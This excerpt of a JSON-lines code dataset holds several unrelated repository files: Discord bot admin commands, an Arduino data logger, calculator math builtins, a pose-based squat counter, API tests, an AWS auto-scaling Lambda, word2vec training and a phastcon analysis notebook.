\"👎\")\n try:\n reply = await client1.wait_for(\"reaction_add\", check=check, timeout=60)\n except asyncio.TimeoutError:\n await message.channel.send(\"タイムアウトしました。最初からやり直してください\")\n return\n\n else:\n if str(reply[0].emoji) == \"👎\":\n await message.channel.send(\"キャンセルしました\")\n return\n\n user_data_dict[f\"{user_id}\"][\"ban\"] = False\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n\n await message.channel.send(f\"{banned_user.name}の事前BANを解除しました\")\n\n\nasync def delete_user_data(message, client1, command):\n \"\"\"\n ユーザーデータのすべてを抹消する\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n try:\n user_id = int(command.split()[1])\n except ValueError:\n await message.channel.send(\"不正な引数です\")\n return\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n if not str(user_id) in user_data_dict.keys():\n await message.channel.send(\"そのデータは登録されていません\")\n return\n\n try:\n delete_user = await client1.fetch_user(user_id)\n except discord.errors.NotFound:\n await message.channel.send(\"IDが間違っていますがデータはあるので消しておきます(どうゆう状況だよおい)\")\n delete_user_name = \"None\"\n else:\n user_info_embed = discord.Embed(title=\"以下のユーザーのデータをすべて抹消しますか?\", description=\"はい(抹消): 👍\\nいいえ(ミス): 👎\", color=0x000000)\n user_info_embed.set_thumbnail(url=delete_user.display_avatar.url)\n user_info_embed.add_field(name=\".\", value=delete_user.name)\n msg = await message.channel.send(embed=user_info_embed)\n await msg.add_reaction(\"👍\")\n await msg.add_reaction(\"👎\")\n def check(reaction, user):\n return user == message.author and (str(reaction.emoji) == \"👍\" or str(reaction.emoji) == \"👎\")\n try:\n reply = await client1.wait_for(\"reaction_add\", check=check, timeout=60)\n except asyncio.TimeoutError:\n await message.channel.send(\"タイムアウトしました。最初からやり直してください\")\n return\n\n else:\n if str(reply[0].emoji) == \"👎\":\n await message.channel.send(\"キャンセルしました\")\n return\n else:\n delete_user_name = delete_user.name\n\n del user_data_dict[f\"{user_id}\"]\n\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n\n await message.channel.send(f\"{delete_user_name}のデータを全て抹消しました\")\n\n\nasync def ban_list(message, client1):\n \"\"\"\n 事前BANしている人のリスト\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n await message.channel.send(\"時間かかりますよ\")\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n banned_user = \"\"\n i = 0\n for user_id in user_data_dict:\n if user_data_dict[user_id][\"ban\"]:\n user = await client1.fetch_user(int(user_id))\n banned_user += f\"{user} <@{user_id}>\\n\"\n i +=1\n banned_user += f\"\\n以上{i}アカ\"\n await message.channel.send(embed=discord.Embed(title=\"事前BAN\", description=banned_user))\n\n\nasync def gban_list(message):\n \"\"\"\n 魔理沙はこのサーバには入りません\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n with open(\"./datas/ban_server.json\", mode=\"r\", encoding=\"utf-8\") as f:\n ban_server_dict = json.load(f)\n\n text = \"\"\n for banned_server_id, banned_server_data in ban_server_dict.items():\n text += f\"ServerID: {banned_server_id}\\nServerName: {banned_server_data[0]}\\nOwnerID: {banned_server_data[2]}\\nOwnerName: {banned_server_data[1]}\\n\\n\"\n\n await message.channel.send(text)\n\n\nasync def global_notice(message, client1, command):\n \"\"\"\n 導入サーバすべてのお知らせチャンネルにお知らせを送信\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n msg = command.replace(\"global_notice \", \"\")\n\n with open(\"./datas/marisa_notice.json\", mode=\"r\", encoding=\"utf-8\") as f:\n marisa_notice_dict = json.load(f)\n\n for guild in client1.guilds:\n try:\n notice_ch_id = marisa_notice_dict[f\"{guild.id}\"]\n except KeyError:\n marisa_notice_dict[f\"{guild.id}\"] = None\n notice_ch = None\n notice_ch_id = None\n else:\n notice_ch = guild.get_channel(notice_ch_id)\n\n if notice_ch_id == \"rejected\":\n await message.channel.send(f\"{guild.name}は通知を拒否しています\")\n\n elif notice_ch is None:\n flag = False\n for ch in guild.text_channels:\n try:\n await ch.send(msg)\n marisa_notice_dict[f\"{guild.id}\"] = ch.id\n flag = True\n break\n except discord.errors.Forbidden:\n pass\n if not flag:\n try:\n await guild.owner.send(f\"{guild.name}に{client1.user.name}が発言できるチャンネルがありません。以下の内容をサーバメンバーに周知してください\\n\\n{msg}\")\n except discord.errors.Forbidden:\n await message.channel.send(f\"{guild.name}に通知できませんでした\")\n\n else:\n try:\n await notice_ch.send(msg)\n except discord.errors.Forbidden:\n flag = False\n for ch in guild.text_channels:\n try:\n await ch.send(msg)\n marisa_notice_dict[f\"{guild.id}\"] = ch.id\n flag = True\n break\n except discord.errors.Forbidden:\n pass\n if not flag:\n try:\n await guild.owner.send(f\"{guild.name}に{client1.user.name}が発言できるチャンネルがありません。以下の内容をサーバメンバーに周知してください\\n\\n{msg}\")\n except discord.errors.Forbidden:\n await message.channel.send(f\"{guild.name}に通知できませんでした\")\n\n marisa_notice_json = json.dumps(marisa_notice_dict, indent=4)\n with open(\"./datas/marisa_notice.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(marisa_notice_json)\n\n await message.channel.send(\"全サーバに通知完了\")\n\n\nasync def leave_guild(message, client1, command):\n \"\"\"\n サーバから抜ける\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n try:\n guild_id = int(command.split()[1])\n reason = command.split()[2]\n except ValueError:\n await message.channel.send(\"intキャストできる形で入力してください\")\n return\n except IndexError:\n await message.channel.send(\"サーバから抜ける理由を書いてください\")\n return\n\n guild = client1.get_guild(guild_id)\n embed = discord.Embed(\n title=\"以下のサーバから抜け、サーバをブラックリスト登録しますか?\",\n description=\"はい(離脱&ブラックリスト登録): 👍\\nはい(離脱のみ): 👋\\nいいえ(ミス): 👎\",\n color=0xff0000\n )\n embed.set_author(name=guild.name, icon_url=guild.icon)\n embed.set_footer(text=guild.owner.name, icon_url=guild.owner.display_avatar.url)\n msg = await message.channel.send(embed=embed)\n await msg.add_reaction(\"👍\")\n await msg.add_reaction(\"👋\")\n await msg.add_reaction(\"👎\")\n def check(reaction, user):\n return user == message.author and (str(reaction.emoji) == \"👍\" or str(reaction.emoji) == \"👋\" or str(reaction.emoji) == \"👎\")\n try:\n reply = await client1.wait_for(\"reaction_add\", check=check, timeout=60)\n except asyncio.TimeoutError:\n await message.channel.send(\"タイムアウトしました。最初からやり直してください\")\n return\n\n else:\n if str(reply[0].emoji) == \"👎\":\n await message.channel.send(\"キャンセルしました\")\n return\n\n if guild.owner.id == 523303776120209408:\n await message.channel.send(\"あんた正気か?\")\n return\n\n with open(\"./datas/marisa_notice.json\", mode=\"r\", encoding=\"utf-8\") as f:\n marisa_notice_dict = json.load(f)\n\n notice_ch = client1.get_channel(marisa_notice_dict[f\"{guild.id}\"])\n if notice_ch is None:\n flag = False\n for ch in guild.text_channels:\n try:\n await ch.send(f\"{client1.user.name}はこのサーバを抜けます\\nReason: {reason}\")\n flag = True\n break\n except discord.errors.Forbidden:\n pass\n\n if not flag:\n try:\n await guild.owner.send(f\"{client1.user.name}は{guild.name}を抜けます\\nReason: {reason}\")\n except discord.errors.Forbidden:\n await message.channel.send(f\"{guild.name}に通知できませんでした\")\n\n else:\n await notice_ch.send(f\"{client1.user.name}はこのサーバを抜けます\\nReason: {reason}\")\n\n await guild.leave()\n await message.channel.send(f\"{guild.name}から退出しました\")\n\n if str(reply[0].emoji) == \"👋\":\n return\n\n with open(\"./datas/ban_server.json\", mode=\"r\", encoding=\"utf-8\") as f:\n ban_server_dict = json.load(f)\n\n ban_server_dict[f\"{guild_id}\"] = [guild.name, guild.owner.name, guild.owner.id]\n\n ban_server_json = json.dumps(ban_server_dict, indent=4, ensure_ascii=False)\n with open(\"./datas/ban_server.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(ban_server_json)\n\n#ーーーーここまでコマンド、以下補助関数ーーーー\n\ndef check_mcid_length(mcid):\n \"\"\"\n 申請されたMCIDがMCIDとして成り立つかチェックする\n boolを返す\"\"\"\n\n if len(mcid) >= 3 and len(mcid) <= 16:\n return True\n else:\n return False\n\n\ndef check_mcid_yet(mcid):\n \"\"\"\n 申請されたMCIDが未登録MCIDかチェックする\n boolを返す\"\"\"\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n for user_id in user_data_dict:\n for mcid_registered in user_data_dict[user_id][\"mcid\"]:\n if mcid.lower() == mcid_registered.lower():\n return False\n return True\n\n\ndef check_mcid_exist(mcid):\n \"\"\"\n 存在するかをチェックする\n boolまたはNoneを返す\n mojangAPIに問い合わせる\"\"\"\n\n url = f\"http://api.mojang.com/users/profiles/minecraft/{mcid}\"\n try:\n res = requests.get(url)\n res.raise_for_status()\n try:\n res = res.json()\n except json.decoder.JSONDecodeError:\n return False\n else:\n mcid = res[\"name\"]\n uuid = res[\"id\"]\n return (mcid, uuid)\n\n except requests.exceptions.HTTPError:\n return None\n\n\ndef create_pic_capcha():\n hiragana_tuple = (\n \"あ\", \"い\", \"う\", \"え\", \"お\",\n \"か\", \"き\", \"く\", \"け\", \"こ\",\n \"さ\", \"し\", \"す\", \"せ\", \"そ\",\n \"た\", \"ち\", \"つ\", \"て\", \"と\",\n \"な\", \"に\", \"ぬ\", \"ね\", \"の\",\n \"は\", \"ひ\", \"ふ\", \"へ\", \"ほ\",\n \"ま\", \"み\", \"む\", \"め\", \"も\",\n \"や\", \"ゆ\", \"よ\",\n \"ら\", \"り\", \"る\", \"れ\", \"ろ\",\n \"わ\", \"を\", \"ん\"\n )\n image = Image.new(\"RGB\", (250, 70), color=0x000000)\n picture = ImageDraw.Draw(image)\n mojiretsu = random.sample(hiragana_tuple, k=5)\n x = 0\n for moji in mojiretsu:\n font = ImageFont.truetype(random.choice([\"cghkm_V6.ttc\", \"jwyz00b_V6.ttc\"]), size=50)\n y = random.randint(-10, 10)\n picture.text((x, 10+y), text=moji, font=font, fill=0xffffff)\n x += 50\n\n picture.line((0, random.randint(10, 60), 250, random.randint(10, 60)), fill=0xffffff, width=4)\n image.save(\"capcha.png\")\n return \"\".join(mojiretsu)","repo_name":"KirisameKei/marisa","sub_path":"kei_server_commands.py","file_name":"kei_server_commands.py","file_ext":"py","file_size_in_byte":43341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13514776027","text":"import serial\nimport matplotlib.pyplot as plt\n\nport = \"COM3\"\nbaud = 9600\nfName = \"EMG_Data.csv\"\nprint(\"Initialising .... \")\nser = serial.Serial(port, baud, timeout = 1)\nprint(\"Connected to Arduino port:\" + port)\nfile = open(fName, \"a\")\n\nprint(\"Data read\")\n\nxData = []\nyData = []\n\n# plt.close(\"all\")\n# plt.figure()\n# plt.ion()\n# plt.show()\n\ni = 0\nwith open(fName, \"w\") as f:\n while(i < 100):\n \n l = str(ser.readline())[2:-5]\n if(i == 0):\n continue\n f.write(str(l) + \"\\n\")\n print(i, \":\", l)\n \n line = l.split(\",\") \n\n try:\n\n x = float(i)\n y = float(line[0])\n xData.append(x)\n yData.append(y)\n \n # plt.cla()\n # plt.plot(y)\n # plt.pause(0.01)\n except:\n pass\n i +=1\n\n#Ensuring equal sizes for collected x and y data\nif(len(xData) - len(yData) > 0):\n for i in range(len(xData) - len(yData)):\n yData.append(0)\n\nif(len(xData) - len(yData) < 0):\n for i in range( len(yData)- len(xData) ):\n xData.append(0)\n\n#Displaying collected data\nplt.ylim(0, 4095)\nplt.plot(xData, yData)\nplt.show()\n\n\n","repo_name":"RV2005/YTS_Project_Code","sub_path":"dataLogger.py","file_name":"dataLogger.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29124095581","text":"from functools import lru_cache\nfrom typing import Any\nimport math\n\n\ndef meth_ln(x: float | int):\n return math.log(x)\n\n\n# inspect signature bypass\ndef meth_log(x: float | int, base: int):\n return math.log(x, base)\n\n\ndef meth_min(a: int | float, b: int | float):\n return a if a < b else b\n\n\ndef meth_max(a: int | float, b: int | float):\n return a if a > b else b\n\n\n# fmt: off\n\nCONSTANTS = {\n \"pi\": math.pi,\n \"tau\": math.tau,\n \"phi\": (1 + math.sqrt(5)) / 2,\n \"e\": math.e,\n}\n\nSPECIAL_CONST_SYM = {\n \"π\": CONSTANTS[\"pi\"],\n \"τ\": CONSTANTS[\"tau\"],\n \"ϕ\": CONSTANTS[\"phi\"],\n}\n\nBUILTINS = {\n # trigonometric functions\n \"sin\": math.sin,\n \"sinh\": math.sinh,\n \"cos\": math.cos,\n \"cosh\": math.cosh,\n \"tan\": math.tan,\n \"tanh\": math.tanh,\n \"csc\": lambda x: 1 / math.sin(x),\n \"sec\": lambda x: 1 / math.cos(x),\n \"cot\": lambda x: 1 / math.tan(x),\n\n \"asin\": math.asin,\n \"asinh\": math.asinh,\n \"acos\": math.acos,\n \"acosh\": math.acosh,\n \"atan\": math.atan,\n \"atan2\": math.atan2,\n \"atanh\": math.atanh,\n\n \"ln\": meth_ln,\n \"log\": meth_log,\n \"log2\": math.log2,\n \"log10\": math.log10,\n \"exp\": math.exp,\n \"sqrt\": math.sqrt,\n\n \"rad\": math.radians,\n \"abs\": abs,\n \"trunc\": math.trunc,\n \"floor\": math.floor,\n \"ceil\": math.ceil,\n \"round\": round,\n \"min\": meth_min,\n \"max\": meth_max\n}\n\nALL_BUILTINS = BUILTINS | CONSTANTS | SPECIAL_CONST_SYM\n\n# makes it 0.02s faster\n@lru_cache(maxsize=len(ALL_BUILTINS))\ndef is_builtin(name: str) -> bool:\n \"\"\"\n Checks to see if name is a builtin.\n\n Args:\n name: str\n Name to check.\n\n Returns: bool\n \"\"\"\n return name in ALL_BUILTINS\n\ndef get_builtin(name: str) -> Any:\n \"\"\"\n Get builtin from name.\n \n Args:\n name: str\n Name of builtin.\n\n Returns: Any | None if not found\n \"\"\"\n return ALL_BUILTINS.get(name)\n","repo_name":"sertdfyguhi/meth","sub_path":"meth/builtins.py","file_name":"builtins.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"29401986032","text":"# squats may be detected as curls\n\nimport cv2\nimport mediapipe as mp\nimport numpy as np\n\nmp_drawing = mp.solutions.drawing_utils\nmp_pose = mp.solutions.pose\n\n# Initialize variables for squat detection\nsquat_counter = 0\nsquat_stage = None\n\ndef calculate_angle(a, b, c):\n a = np.array(a)\n b = np.array(b)\n c = np.array(c)\n\n radians = np.arctan2(c[1] - b[1], c[0] - b[0]) - np.arctan2(a[1] - b[1], a[0] - b[0])\n angle = np.abs(radians * 180.0 / np.pi)\n\n if angle > 180.0:\n angle = 360 - angle\n\n return angle\n\ncap = cv2.VideoCapture(0)\n\nwith mp_pose.Pose(min_detection_confidence=0.5, min_tracking_confidence=0.5) as pose:\n while cap.isOpened():\n ret, frame = cap.read()\n\n # Recolor image to RGB\n image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n image.flags.writeable = False\n\n # Make detection\n results = pose.process(image)\n\n # Recolor back to BGR\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n # Extract landmarks for squat detection\n try:\n landmarks = results.pose_landmarks.landmark\n\n # Get coordinates for squat detection\n hip = [landmarks[mp_pose.PoseLandmark.LEFT_HIP.value].x,\n landmarks[mp_pose.PoseLandmark.LEFT_HIP.value].y]\n knee = [landmarks[mp_pose.PoseLandmark.LEFT_KNEE.value].x,\n landmarks[mp_pose.PoseLandmark.LEFT_KNEE.value].y]\n ankle = [landmarks[mp_pose.PoseLandmark.LEFT_ANKLE.value].x,\n landmarks[mp_pose.PoseLandmark.LEFT_ANKLE.value].y]\n\n # Calculate knee joint angle\n angle_knee = calculate_angle(hip, knee, ankle)\n\n # Visualize knee angle for squat detection\n cv2.putText(image, f'Knee Angle: {angle_knee:.2f} degrees',\n (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (79, 121, 66), 2, cv2.LINE_AA)\n\n # Squat counter logic\n if angle_knee > 169:\n squat_stage = \"UP\"\n if angle_knee <= 90 and squat_stage == 'UP':\n squat_stage = \"DOWN\"\n squat_counter += 1\n print(f'Squat Count: {squat_counter}')\n\n except:\n pass\n\n # Render squat counter\n cv2.rectangle(image, (0, 0), (225, 73), (245, 117, 16), -1)\n\n cv2.putText(image, 'SQUAT REPS', (15, 12),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 1, cv2.LINE_AA)\n cv2.putText(image, str(squat_counter),\n (10, 60),\n cv2.FONT_HERSHEY_SIMPLEX, 2, (255, 255, 255), 2, cv2.LINE_AA)\n\n cv2.putText(image, 'SQUAT STAGE', (65, 12),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0), 1, cv2.LINE_AA)\n cv2.putText(image, squat_stage,\n (60, 60),\n cv2.FONT_HERSHEY_SIMPLEX, 2, (255, 255, 255), 2, cv2.LINE_AA)\n\n # Render detections\n mp_drawing.draw_landmarks(image, results.pose_landmarks, mp_pose.POSE_CONNECTIONS,\n mp_drawing.DrawingSpec(color=(245, 117, 66), thickness=2, circle_radius=2),\n mp_drawing.DrawingSpec(color=(245, 66, 230), thickness=2, circle_radius=2))\n\n cv2.imshow('Mediapipe Feed', image)\n\n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\n\n cap.release()\n cv2.destroyAllWindows()\n","repo_name":"kiransbaliga/pose","sub_path":"combined-2.py","file_name":"combined-2.py","file_ext":"py","file_size_in_byte":3430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13940245418","text":"from dataclasses import asdict\nfrom typing import Generator\nfrom unittest.mock import MagicMock, patch\n\nimport pytest\nfrom racing_report import Driver as My_driver\n\nfrom app.source.manager import RaceManager\nfrom app.source.models import Driver\nfrom constants import OrderEnum\nfrom db.fill_db import RaceData\nfrom test_app.utilities import create_drivers_data, create_test_driver\n\n\nclass TestRaceDB:\n @pytest.mark.parametrize(\"order\", [OrderEnum.asc, OrderEnum.desc])\n def test_sort_data(self, order: OrderEnum) -> None:\n direction = True if order == OrderEnum.desc else False\n expected_result = Driver.select().order_by(\n Driver.lap_time.desc(nulls=\"LAST\") if direction else Driver.lap_time.asc(nulls=\"LAST\")\n )\n assert RaceManager.sort_data(order) == expected_result\n\n @patch(\"db.fill_db.RaceData\")\n def test_create_report_data(self, race_data_mock: MagicMock, data: RaceData, tables: Generator) -> None:\n drivers_quantity = 3\n instance = race_data_mock.return_value\n instance.analyzer.drivers_race_data = \"mocked values\"\n data.analyzer.drivers_race_data = [create_test_driver(counter + 1) for counter in range(drivers_quantity)]\n drivers_data = create_drivers_data(data.analyzer.drivers_race_data)\n\n Driver.insert_many(drivers_data).execute()\n data = Driver.select()\n\n expected_result = {\n \"data\": [\n {\n \"position\": number,\n \"driver_info\": {\n \"full_name\": f\"Test driver #{number}\",\n \"team\": f\"Test team #{number}\",\n \"lap_time\": f\"Test lap time #{number}\",\n },\n }\n for number in range(1, drivers_quantity + 1)\n ]\n }\n\n assert RaceManager.create_report_data(data) == expected_result\n\n @patch(\"db.fill_db.RaceData\")\n def test_create_drivers_info(self, race_data_mock: MagicMock, data: RaceData, tables: Generator) -> None:\n drivers_quantity = 3\n instance = race_data_mock.return_value\n instance.analyzer.drivers_race_data = \"mocked values\"\n data.analyzer.drivers_race_data = [create_test_driver(counter + 1) for counter in range(drivers_quantity)]\n drivers_data = create_drivers_data(data.analyzer.drivers_race_data)\n\n Driver.insert_many(drivers_data).execute()\n data = Driver.select()\n\n expected_result = {\n \"data\": [\n {\"abbreviation\": f\"Driver_{number}\", \"full_name\": f\"Test driver #{number}\"}\n for number in range(1, drivers_quantity + 1)\n ]\n }\n\n assert RaceManager.create_drivers_info(data) == expected_result\n\n @pytest.mark.parametrize(\n \"driver_id, expected_result\",\n (\n [\n \"Driver_1\",\n asdict(\n My_driver(\n abbreviation=\"Driver_1\",\n full_name=\"Test driver #1\",\n team=\"Test team #1\",\n lap_time=\"Test lap time #1\",\n )\n ),\n ],\n [\"Driver_3\", None],\n ),\n )\n @patch(\"db.fill_db.RaceData\")\n def test_get_driver(\n self, race_data_mock: MagicMock, data: RaceData, driver_id: str, expected_result: My_driver, tables: Generator\n ) -> None:\n drivers_quantity = 2\n instance = race_data_mock.return_value\n instance.analyzer.drivers_race_data = \"mocked values\"\n data.analyzer.drivers_race_data = [create_test_driver(counter + 1) for counter in range(drivers_quantity)]\n drivers_data = create_drivers_data(data.analyzer.drivers_race_data)\n\n Driver.insert_many(drivers_data).execute()\n\n assert RaceManager.get_driver(driver_id) == expected_result\n","repo_name":"Teneram/rest-api-race-report","sub_path":"test_app/test_manager.py","file_name":"test_manager.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"34331615408","text":"import os\n\nimport boto3\n\nimport cfnresponse\n\nautoscaling_client = boto3.client(\"autoscaling\")\nssm_client = boto3.client(\"ssm\")\n\nAUTO_SCALING_GROUP_NAME = os.environ[\"AUTO_SCALING_GROUP_NAME\"]\nDEFAULT_AMI_SSM_PARAMETER = os.environ[\"DEFAULT_AMI_SSM_PARAMETER\"]\n\n\ndef lambda_handler(event, context):\n status = cfnresponse.FAILED\n physical_resource_id = None\n response_data = {}\n\n try:\n\n # Check if CloudFormation is deleting the resource,\n # in which case it will be deleting the auto scaling group too,\n # so there's no need to launch instances.\n request_type = event[\"RequestType\"]\n is_delete_operation = request_type == \"Delete\"\n\n # Check if this ASG has been created for use with AMI or app pipelines,\n # and either of those pipelines haven't been used yet. In that case,\n # it wouldn't make sense to launch instances yet.\n app_version_id = event[\"ResourceProperties\"].get(\"AppVersionId\")\n image_id = event[\"ResourceProperties\"][\"ImageId\"]\n is_new_pipeline = app_version_id == \"-\" or image_id == \"-\"\n\n if is_new_pipeline or is_delete_operation:\n\n if is_new_pipeline:\n print(\"New pipeline, set to 0\")\n\n if is_delete_operation:\n print(\"Delete operation, set to 0\")\n\n min_size = 0\n max_size = 0\n min_instances_in_service = 0\n\n if image_id == \"-\":\n # Pick a valid AMI. It won't be used with the ASG\n # size set to 0 so it doesn't matter what it is.\n image_id = get_ami(DEFAULT_AMI_SSM_PARAMETER)\n\n else:\n\n min_size = int(event[\"ResourceProperties\"][\"MinSize\"])\n max_size = int(event[\"ResourceProperties\"][\"MaxSize\"])\n\n min_instances_in_service = int(\n event[\"ResourceProperties\"][\"MinInstancesInService\"]\n )\n if min_instances_in_service < 0:\n\n # CloudFormation tries to keep a specified number of instances\n # in-service while replacing instances. Try to use the current\n # number of running instances.\n min_instances_in_service = get_desired_capacity(AUTO_SCALING_GROUP_NAME)\n print(\n f\"Using desired capacity for MinInstancesInService={min_instances_in_service}\"\n )\n\n # Unless it's below the minimum size of the ASG,\n # in which case try to use that.\n if min_instances_in_service < min_size:\n min_instances_in_service = min_size\n print(\n f\"Desired capacity too low, set MinInstancesInService={min_instances_in_service}\"\n )\n\n # The number can't be the maximum size of the ASG because\n # it needs to be allowed to terminate instances (bringing\n # the number of in-service instance down) to replace them.\n if min_instances_in_service >= max_size:\n if max_size > 1:\n min_instances_in_service = max_size - 1\n else:\n min_instances_in_service = 0\n print(\n f\"Desired capacity too high, set MinInstancesInService={min_instances_in_service}\"\n )\n\n response_data = {\n \"ImageId\": image_id,\n \"MinSize\": min_size,\n \"MaxSize\": max_size,\n \"MinInstancesInService\": min_instances_in_service,\n }\n\n status = cfnresponse.SUCCESS\n\n finally:\n cfnresponse.send(event, context, status, response_data, physical_resource_id)\n\n\ndef get_ami(ssm_parameter_name):\n \"\"\"\n Looks up an AMI from the SSM parameter store.\n \"\"\"\n\n response = ssm_client.get_parameter(Name=ssm_parameter_name)\n return response[\"Parameter\"][\"Value\"]\n\n\ndef get_desired_capacity(auto_scaling_group_name):\n \"\"\"\n Returns the current desired capacity of the ASG,\n or zero if it doesn't exist.\n\n \"\"\"\n\n response = autoscaling_client.describe_auto_scaling_groups(\n AutoScalingGroupNames=[auto_scaling_group_name],\n )\n for asg in response[\"AutoScalingGroups\"]:\n return asg[\"DesiredCapacity\"]\n return 0\n","repo_name":"claranet/terraform-aws-asg-pipeline","sub_path":"modules/asg/cfn_params/lambda.py","file_name":"lambda.py","file_ext":"py","file_size_in_byte":4315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"} +{"seq_id":"27129019517","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport pandas as pd\nimport gensim\n\ndef read_data(filename):\n df1 = pd.read_csv(filename, header = None, encoding = \"utf8\")\n np1 = np.array(df1)\n data = np1[:, 0:-1]\n label = np1[:, -1]\n return data, label\n\n#def \n \nif __name__ == \"__main__\":\n data, label = read_data(\"../input/data_clean.csv\")\n data_combine = np.hstack((data[:, 0], data[:, 1]))\n for i in range(data_combine.shape[0]):\n data_combine[i] = ((data_combine[i].split(\" \")))\n# break\n# a = [data_combine[5], data_combine[6]]\n# sentences = gensim.models.word2vec.LineSentence(data_combine[1:10])\n model = gensim.models.Word2Vec(data_combine, min_count=1, size=500, window=5, iter=500)\n# print(model['可'])\n print(model['可逆过程'])\n print(model.wv.most_similar(['伦敦','中国'],['北京']))\n print(model.wv.similarity('化学','物理'))\n model.save('../output/word2vec_500.txt')","repo_name":"hejujie/semantic_similarity","sub_path":"code/word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29555835297","text":"get_ipython().magic('matplotlib inline')\nimport glob\nimport os\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pickle\nimport pandas as pd\nfrom collections import defaultdict\nfrom tqdm import tnrange, tqdm_notebook\nimport numpy as np\nfrom encode import manifest_helpers\nfrom density import ReadDensity\n\nMIN_EVENTS = 1000\n\ndef read_filter(fn, p=3, f=3):\n \"\"\"\n Reads and filters the input normalized peak files\n \"\"\"\n df = pd.read_table(fn, names=['chrom','start','stop','name','score','strand'])\n df = df[(df['name']>=p) & (df['score']>=f)]\n print(df.shape)\n\npickle_loc = '/projects/ps-yeolab3/encode/analysis/encode_idr_clip_analysis/'\npickles = glob.glob(os.path.join(pickle_loc, '*IDR.out.0102merged.bed.annotated.clip_formatted.bed.clip_analysis.pickle'))\npickles[:3]\n\nmanifest = '/home/bay001/projects/maps_20160420/permanent_data/ALLDATASETS.txt'\n# manifest = '/home/bay001/projects/encode/analysis/conservation_analysis/uid_to_rbpinfo_from_gabe_manifest.txt'\nmanifest_df = pd.read_table(manifest)\n\ndef uid_to_label(uid, df=manifest_df):\n \"\"\"\n From a UID, return a nice label containing \n the RBP name and cell type\n \"\"\"\n _, _, _, rbp, cell = manifest_helpers.get_clip_file_from_uid(\n manifest_df,\n uid, \n uid_col='uID',\n rbp_col='RBP',\n clip_r1_col='CLIP',\n clip_r2_col='CLIP',\n input_col='INPUT'\n )\n if cell is None and rbp is None:\n return ''\n return '{}-{}-{}'.format(uid, rbp, cell)\nuid_to_label('534')\n\ndef format_filename_to_nicename(fn):\n \"\"\"\n Returns a shorter but still unique label given a pickle filename\n \"\"\"\n fil1 = os.path.basename(fn)\n return fil1\n\ndef get_dataframes(p):\n \"\"\"\n From a clip_analysis pickle file, return two lists of dataframes\n containing the avg phastcon scores for each peak, for each\n region. For both real and random conditions, these will be lists\n even though the len(real_dfs) will always be one.\n \n returns :\n real_dfs : {'cds':[phastcon dataframe1], 'three_prime_utr':[phastcon dataframe1], ...}\n rand_dfs : {'cds':[df1, df2, df3], 'three_prime_utr':[df1, df2, df3], ...}\n \n \"\"\"\n loaded = pickle.load(open(p, 'rb'))\n \n real_dfs = defaultdict(list)\n rand_dfs = defaultdict(list)\n \n for category, df in loaded['phast_values'].groupby(level=0):\n for real_rand, new_df in df.groupby(level=1):\n if real_rand == 'real':\n real_dfs[category].append(new_df)\n elif real_rand == 'rand':\n rand_dfs[category].append(new_df)\n else:\n print(\"warning: labels don't match what we expect: {}\".format(real_rand))\n \n return real_dfs, rand_dfs\n\ndef get_mean_phastcon(lst, v=False, min_events=MIN_EVENTS):\n \"\"\"\n returns mean phastcon score for all dataframes in list using 'mean' column.\n \n lst : list[df1, df2, df3, ...]\n v : boolean\n if True, verbose\n returns :\n mean : average phastcon value over all dataframes in list or nan if it doesn't pass threshold.\n \"\"\"\n summed = 0\n num_events = 0\n for l in lst: # for each dataframe \n summed = summed + l['mean'].sum() # add mean values to the running sum \n num_events = num_events + l.shape[0] # add the number of events to the running total\n if v:\n print(num_events)\n if num_events < min_events:\n return np.nan\n return summed/float(num_events)\n\ndef 